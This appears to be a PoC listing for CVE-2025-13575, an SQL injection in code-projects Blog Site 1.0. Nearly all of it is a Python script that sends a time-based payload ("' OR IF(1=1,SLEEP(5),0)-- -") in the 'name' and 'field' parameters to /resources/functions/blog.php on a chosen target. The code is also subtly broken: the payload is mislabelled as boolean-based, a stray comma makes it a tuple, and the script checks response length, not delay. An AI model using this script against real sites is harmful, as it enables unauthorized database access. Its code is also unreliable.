CVE-2025-13575: code-projects Blog Site 1.0 SQL注入漏洞

# CVE-2025-13575 SQL Injection PoC # Target: code-projects Blog Site 1.0 # Vulnerability: SQL Injection in category_exists function # File: /resources/functions/blog.php import requests import sys target = "http://target.com" # Replace with target URL def exploit_sqli(url, payload): """Send SQL injection payload to vulnerable endpoint""" # Example vulnerable parameter params = { 'name': payload, # Vulnerable parameter 'field': payload # Also vulnerable } try: response = requests.get(f"{url}/resources/functions/blog.php", params=params) return response.text except requests.exceptions.RequestException as e: return f"Error: {e}" # Boolean-based blind SQL injection payload example payload = "' OR IF(1=1,SLEEP(5),0)-- -", if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] print(f"[*] Testing CVE-2025-13575 on {target}") result = exploit_sqli(target, payload) print(f"[*] Response received: {len(result)} bytes")